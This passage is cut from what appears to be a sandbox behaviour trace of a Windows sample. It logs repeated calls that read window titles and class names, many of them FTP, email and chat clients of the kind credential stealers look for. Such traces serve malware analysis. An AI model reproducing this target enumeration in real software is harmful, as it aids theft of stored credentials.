7 [0136.951] GetClassNameW (in: hWnd=0x10292, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="outlookwindow") returned 13 [0136.951] GetWindowTextW (in: hWnd=0x10294, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Pidgin") returned 6 [0136.951] GetClassNameW (in: hWnd=0x10294, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="pidgin_cls") returned 10 [0136.951] GetWindowTextW (in: hWnd=0x10286, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Notepad") returned 7 [0136.951] GetClassNameW (in: hWnd=0x10286, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="notepad") returned 7 [0136.951] GetWindowTextW (in: hWnd=0x10288, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Operamail") returned 9 [0136.952] GetClassNameW (in: hWnd=0x10288, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="operamail_window") returned 16 [0136.952] GetWindowTextW (in: hWnd=0x1027e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Ncftp") returned 5 [0136.952] GetClassNameW (in: hWnd=0x1027e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ncftp_win") returned 9 [0136.952] GetWindowTextW (in: hWnd=0x10274, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Icq") returned 3 [0136.952] GetClassNameW (in: hWnd=0x10274, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="icq_class") returned 9 [0136.952] GetWindowTextW (in: hWnd=0x10272, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Gmailnotifierpro") returned 16 [0136.953] GetClassNameW (in: hWnd=0x10272, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="gmailnotifierprowindow") returned 22 [0136.953] GetWindowTextW (in: hWnd=0x1026a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Foxmailincmail") returned 14 [0136.953] GetClassNameW (in: hWnd=0x1026a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="foxmailincmailwin") returned 17 [0136.953] GetWindowTextW (in: hWnd=0x10252, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Far") returned 3 [0136.953] GetClassNameW (in: hWnd=0x10252, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="farcls") returned 6 [0136.953] GetWindowTextW (in: hWnd=0x1024c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Bitkinex") returned 8 [0136.953] GetClassNameW (in: hWnd=0x1024c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="bitkinex") returned 8 [0136.954] GetWindowTextW (in: hWnd=0x1023e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Alftp") returned 5 [0136.954] GetClassNameW (in: hWnd=0x1023e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="alftp_class") returned 11 [0136.954] GetWindowTextW (in: hWnd=0x10238, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="3Dftp") returned 5 [0136.954] GetClassNameW (in: hWnd=0x10238, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="3dftp") returned 5 [0136.954] GetWindowTextW (in: hWnd=0x10266, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Fling") returned 5 [0136.954] GetClassNameW (in: hWnd=0x10266, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="fling_window") returned 12 [0136.954] GetWindowTextW (in: hWnd=0x1027a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Leechftp") returned 8 [0136.955] GetClassNameW (in: hWnd=0x1027a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="leechftpwnd") returned 11 [0136.955] GetWindowTextW (in: hWnd=0x1025e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Filezilla") returned 9 [0136.955] GetClassNameW (in: hWnd=0x1025e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="filezilla_wnd") returned 13 [0136.955] GetWindowTextW (in: hWnd=0x10236, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Institution Big Direction") returned 25 [0136.955] GetClassNameW (in: hWnd=0x10236, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="InstitutionBigDirection") returned 23 [0136.955] GetWindowTextW (in: hWnd=0x10260, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Flashfxp") returned 8 [0136.955] GetClassNameW (in: hWnd=0x10260, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="flashfxpwnd") returned 11 [0136.956] GetWindowTextW (in: hWnd=0x10254, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Coreftp") returned 7 [0136.956] GetClassNameW (in: hWnd=0x10254, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="coreftp_wnd") returned 11 [0136.956] GetWindowTextW (in: hWnd=0x1024a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Barca") returned 5 [0136.956] GetClassNameW (in: hWnd=0x1024a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="barcaclass") returned 10 [0136.956] GetWindowTextW (in: hWnd=0x10226, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="For Receive") returned 11 [0136.956] GetClassNameW (in: hWnd=0x10226, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Forreceiveapp") returned 13 [0136.957] GetWindowTextW (in: hWnd=0x1021c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Behind Town") returned 11 [0136.957] GetClassNameW (in: hWnd=0x1021c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Behind_town_window") returned 18 [0136.957] GetWindowTextW (in: hWnd=0x10240, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Absolutetelnet") returned 14 [0136.957] GetClassNameW (in: hWnd=0x10240, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="absolutetelnet_class") returned 20 [0136.957] GetWindowTextW (in: hWnd=0x10218, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Particular Crime") returned 16 [0136.957] GetClassNameW (in: hWnd=0x10218, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="particularCrimeclass") returned 20 [0136.957] GetWindowTextW (in: hWnd=0x1022c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Meet Seat Sometimes") returned 19 [0136.958] GetClassNameW (in: hWnd=0x1022c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="MeetseatSometimeswindow") returned 23 [0136.958] GetWindowTextW (in: hWnd=0x10224, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Private Perform Born") returned 20 [0136.958] GetClassNameW (in: hWnd=0x10224, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Private_Perform_Born_") returned 21 [0136.958] GetWindowTextW (in: hWnd=0x1020a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Arm Already Outside") returned 19 [0136.958] GetClassNameW (in: hWnd=0x1020a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Arm_already_outside_win") returned 23 [0136.958] GetWindowTextW (in: hWnd=0x10202, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Big") returned 3 [0136.959] GetClassNameW (in: hWnd=0x10202, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="big_window") returned 10 [0136.959] GetWindowTextW (in: hWnd=0x1021e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Player Pay Half") returned 15 [0136.959] GetClassNameW (in: hWnd=0x1021e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="playerpayhalfwindow") returned 19 [0136.959] GetWindowTextW (in: hWnd=0x10216, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Sea Travel Style") returned 16 [0136.959] GetClassNameW (in: hWnd=0x10216, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Sea_Travel_style_cls") returned 20 [0136.959] GetWindowTextW (in: hWnd=0x10200, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Magazine") returned 8 [0136.959] GetClassNameW (in: hWnd=0x10200, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="magazine_app") returned 12 [0136.960] GetWindowTextW (in: hWnd=0x10204, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Production Tend") returned 15 [0136.960] GetClassNameW (in: hWnd=0x10204, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="productiontendcls") returned 17 [0136.960] GetWindowTextW (in: hWnd=0x301f6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Painting") returned 8 [0136.960] GetClassNameW (in: hWnd=0x301f6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="paintingcls") returned 11 [0137.000] GetWindowTextW (in: hWnd=0x201fa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Better") returned 6 [0137.000] GetClassNameW (in: hWnd=0x201fa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Betterclass") returned 11 [0137.000] GetWindowTextW (in: hWnd=0x30032, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Run Service Who") returned 15 [0137.000] GetClassNameW (in: hWnd=0x30032, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Run_service_Who_") returned 16 [0137.028] GetWindowTextW (in: hWnd=0x3001c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.029] GetClassNameW (in: hWnd=0x3001c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.029] GetWindowTextW (in: hWnd=0x20142, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.029] GetClassNameW (in: hWnd=0x20142, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DDEMLEvent") returned 10 [0137.029] GetWindowTextW (in: hWnd=0x2013e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.029] GetClassNameW (in: hWnd=0x2013e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DDEMLMom") returned 8 [0137.029] GetWindowTextW (in: hWnd=0x20140, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.029] GetClassNameW (in: hWnd=0x20140, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.030] GetWindowTextW (in: hWnd=0x2008a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.030] GetClassNameW (in: hWnd=0x2008a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.030] GetWindowTextW (in: hWnd=0x60046, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="AutoIt v3") returned 9 [0137.030] NtdllDefWindowProc_W (hWnd=0x60046, Msg=0xd, wParam=0x400, lParam=0xbdedb0) returned 0x9 [0137.030] GetClassNameW (in: hWnd=0x60046, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="AutoIt v3") returned 9 [0137.030] GetWindowTextW (in: hWnd=0x702ec, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.030] GetClassNameW (in: hWnd=0x702ec, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="URL Moniker Notification Window") returned 31 [0137.030] GetWindowTextW (in: hWnd=0x101e8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="MS_WebcheckMonitor") returned 18 [0137.031] GetClassNameW (in: hWnd=0x101e8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0137.031] GetWindowTextW (in: hWnd=0x101e0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="BluetoothNotificationAreaIconWindowClass") returned 40 [0137.031] GetClassNameW (in: hWnd=0x101e0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0137.031] GetWindowTextW (in: hWnd=0x101dc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.031] GetClassNameW (in: hWnd=0x101dc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="PNIHiddenWnd") returned 12 [0137.031] GetWindowTextW (in: hWnd=0x101d8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.031] GetClassNameW (in: hWnd=0x101d8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.032] GetWindowTextW (in: hWnd=0x101d4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.032] GetClassNameW (in: hWnd=0x101d4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.032] GetWindowTextW (in: hWnd=0x101d0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.032] GetClassNameW (in: hWnd=0x101d0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.032] GetWindowTextW (in: hWnd=0x101c2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.032] GetClassNameW (in: hWnd=0x101c2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ATL:00007FFFE39A7080") returned 20 [0137.032] GetWindowTextW (in: hWnd=0x101ba, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.033] GetClassNameW (in: hWnd=0x101ba, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.033] GetWindowTextW (in: hWnd=0x101aa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Battery Meter") returned 13 [0137.033] GetClassNameW (in: hWnd=0x101aa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="SystemTray_Main") returned 15 [0137.033] GetWindowTextW (in: hWnd=0x101a6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.033] GetClassNameW (in: hWnd=0x101a6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.033] GetWindowTextW (in: hWnd=0x20186, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0137.033] GetClassNameW (in: hWnd=0x20186, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0137.034] GetWindowTextW (in: hWnd=0x10188, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Task Host Window") returned 16 [0137.034] GetClassNameW (in: hWnd=0x10188, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="COMTASKSWINDOWCLASS") returned 19 [0137.034] GetWindowTextW (in: hWnd=0x1011c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.034] GetClassNameW (in: hWnd=0x1011c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.034] GetWindowTextW (in: hWnd=0x10124, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.034] GetClassNameW (in: hWnd=0x10124, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="TabletModeCoverWindow") returned 21 [0137.034] GetWindowTextW (in: hWnd=0x10198, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.034] GetClassNameW (in: hWnd=0x10198, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.035] GetWindowTextW (in: hWnd=0x1019a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.035] GetClassNameW (in: hWnd=0x1019a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.035] GetWindowTextW (in: hWnd=0x10122, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.035] GetClassNameW (in: hWnd=0x10122, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DummyDWMListenerWindow") returned 22 [0137.035] GetWindowTextW (in: hWnd=0x1011a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.035] GetClassNameW (in: hWnd=0x1011a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="EdgeUiInputTopWndClass") returned 22 [0137.035] GetWindowTextW (in: hWnd=0x100fc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Windows Push Notifications Platform") returned 35 [0137.036] GetClassNameW (in: hWnd=0x100fc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="PushNotificationsPowerManagement") returned 32 [0137.036] GetWindowTextW (in: hWnd=0x100f8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="DDE Server Window") returned 17 [0137.036] GetClassNameW (in: hWnd=0x100f8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="OleDdeWndClass") returned 14 [0137.036] GetWindowTextW (in: hWnd=0x100f6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.037] GetClassNameW (in: hWnd=0x100f6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.037] GetWindowTextW (in: hWnd=0x100f2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.037] GetClassNameW (in: hWnd=0x100f2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="ApplicationManager_DesktopShellWindow") returned 37 [0137.038] GetWindowTextW (in: hWnd=0x100ee, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.038] GetClassNameW (in: hWnd=0x100ee, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.038] GetWindowTextW (in: hWnd=0x100ea, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.039] GetClassNameW (in: hWnd=0x100ea, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.039] GetWindowTextW (in: hWnd=0x200e0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.040] GetClassNameW (in: hWnd=0x200e0, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="WorkerW") returned 7 [0137.040] GetWindowTextW (in: hWnd=0x100ca, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.040] GetClassNameW (in: hWnd=0x100ca, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="tooltips_class32") returned 16 [0137.041] GetWindowTextW (in: hWnd=0x100b6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.041] GetClassNameW (in: hWnd=0x100b6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="NotifyIconOverflowWindow") returned 24 [0137.041] GetWindowTextW (in: hWnd=0x20072, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.041] GetClassNameW (in: hWnd=0x20072, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DDEMLEvent") returned 10 [0137.042] GetWindowTextW (in: hWnd=0x4006e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.042] GetClassNameW (in: hWnd=0x4006e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="DDEMLMom") returned 8 [0137.042] GetWindowTextW (in: hWnd=0x10024, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="DWM Notification Window") returned 23 [0137.046] GetClassNameW (in: hWnd=0x10024, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Dwm") returned 3 [0137.047] GetWindowTextW (in: hWnd=0x101a4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.047] GetClassNameW (in: hWnd=0x101a4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="CicLoaderWndClass") returned 17 [0137.047] GetWindowTextW (in: hWnd=0x30302, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.047] GetClassNameW (in: hWnd=0x30302, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0137.047] GetWindowTextW (in: hWnd=0x3028e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="") returned 0 [0137.047] GetClassNameW (in: hWnd=0x3028e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Internet Explorer_Hidden") returned 24 [0137.047] GetWindowTextW (in: hWnd=0x100d8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Program Manager") returned 15 [0137.048] GetClassNameW (in: hWnd=0x100d8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="Progman") returned 7 [0137.048] GetWindowTextW (in: hWnd=0x10134, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.048] GetClassNameW (in: hWnd=0x10134, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.048] GetWindowTextW (in: hWnd=0x200a8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="MSCTFIME UI") returned 11 [0137.048] GetClassNameW (in: hWnd=0x200a8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="MSCTFIME UI") returned 11 [0137.048] GetWindowTextW (in: hWnd=0x10086, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.048] GetClassNameW (in: hWnd=0x10086, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.049] GetWindowTextW (in: hWnd=0x20312, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.049] GetClassNameW (in: hWnd=0x20312, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.049] GetWindowTextW (in: hWnd=0x702a6, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.049] GetClassNameW (in: hWnd=0x702a6, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.049] GetWindowTextW (in: hWnd=0x20270, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.049] GetClassNameW (in: hWnd=0x20270, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.049] GetWindowTextW (in: hWnd=0x202e2, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.049] GetClassNameW (in: hWnd=0x202e2, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.050] GetWindowTextW (in: hWnd=0x140206, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.050] GetClassNameW (in: hWnd=0x140206, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.050] GetWindowTextW (in: hWnd=0x1035e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.050] GetClassNameW (in: hWnd=0x1035e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.050] GetWindowTextW (in: hWnd=0x1035c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.050] GetClassNameW (in: hWnd=0x1035c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.050] GetWindowTextW (in: hWnd=0x1035a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.050] GetClassNameW (in: hWnd=0x1035a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.051] GetWindowTextW (in: hWnd=0x10358, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.051] GetClassNameW (in: hWnd=0x10358, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.051] GetWindowTextW (in: hWnd=0x10356, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.051] GetClassNameW (in: hWnd=0x10356, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.051] GetWindowTextW (in: hWnd=0x10354, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.051] GetClassNameW (in: hWnd=0x10354, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.051] GetWindowTextW (in: hWnd=0x10352, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.051] GetClassNameW (in: hWnd=0x10352, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.052] GetWindowTextW (in: hWnd=0x1034a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.052] GetClassNameW (in: hWnd=0x1034a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.052] GetWindowTextW (in: hWnd=0x10346, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.052] GetClassNameW (in: hWnd=0x10346, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.052] GetWindowTextW (in: hWnd=0x10344, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.052] GetClassNameW (in: hWnd=0x10344, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.052] GetWindowTextW (in: hWnd=0x1033c, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.053] GetClassNameW (in: hWnd=0x1033c, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.053] GetWindowTextW (in: hWnd=0x1033a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.053] GetClassNameW (in: hWnd=0x1033a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.053] GetWindowTextW (in: hWnd=0x10334, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.053] GetClassNameW (in: hWnd=0x10334, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.053] GetWindowTextW (in: hWnd=0x1032a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.053] GetClassNameW (in: hWnd=0x1032a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.053] GetWindowTextW (in: hWnd=0x10320, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.054] GetClassNameW (in: hWnd=0x10320, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.054] GetWindowTextW (in: hWnd=0x1031e, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.054] GetClassNameW (in: hWnd=0x1031e, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.054] GetWindowTextW (in: hWnd=0x10314, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.054] GetClassNameW (in: hWnd=0x10314, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.055] GetWindowTextW (in: hWnd=0x1030a, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.055] GetClassNameW (in: hWnd=0x1030a, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.055] GetWindowTextW (in: hWnd=0x10308, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.055] GetClassNameW (in: hWnd=0x10308, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.055] GetWindowTextW (in: hWnd=0x102fc, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.055] GetClassNameW (in: hWnd=0x102fc, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.055] GetWindowTextW (in: hWnd=0x102fa, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.055] GetClassNameW (in: hWnd=0x102fa, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.056] GetWindowTextW (in: hWnd=0x102f8, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.056] GetClassNameW (in: hWnd=0x102f8, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.056] GetWindowTextW (in: hWnd=0x102ea, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.056] GetClassNameW (in: hWnd=0x102ea, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.056] GetWindowTextW (in: hWnd=0x102de, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.056] GetClassNameW (in: hWnd=0x102de, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.056] GetWindowTextW (in: hWnd=0x102d4, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.056] GetClassNameW (in: hWnd=0x102d4, lpClassName=0xbdedb0, nMaxCount=1024 | out: lpClassName="IME") returned 3 [0137.057] GetWindowTextW (in: hWnd=0x102d0, lpString=0xbdedb0, nMaxCount=1024 | out: lpString="Default IME") returned 11 [0137.057] GetClassNameW (in: hWnd=0x102d0, 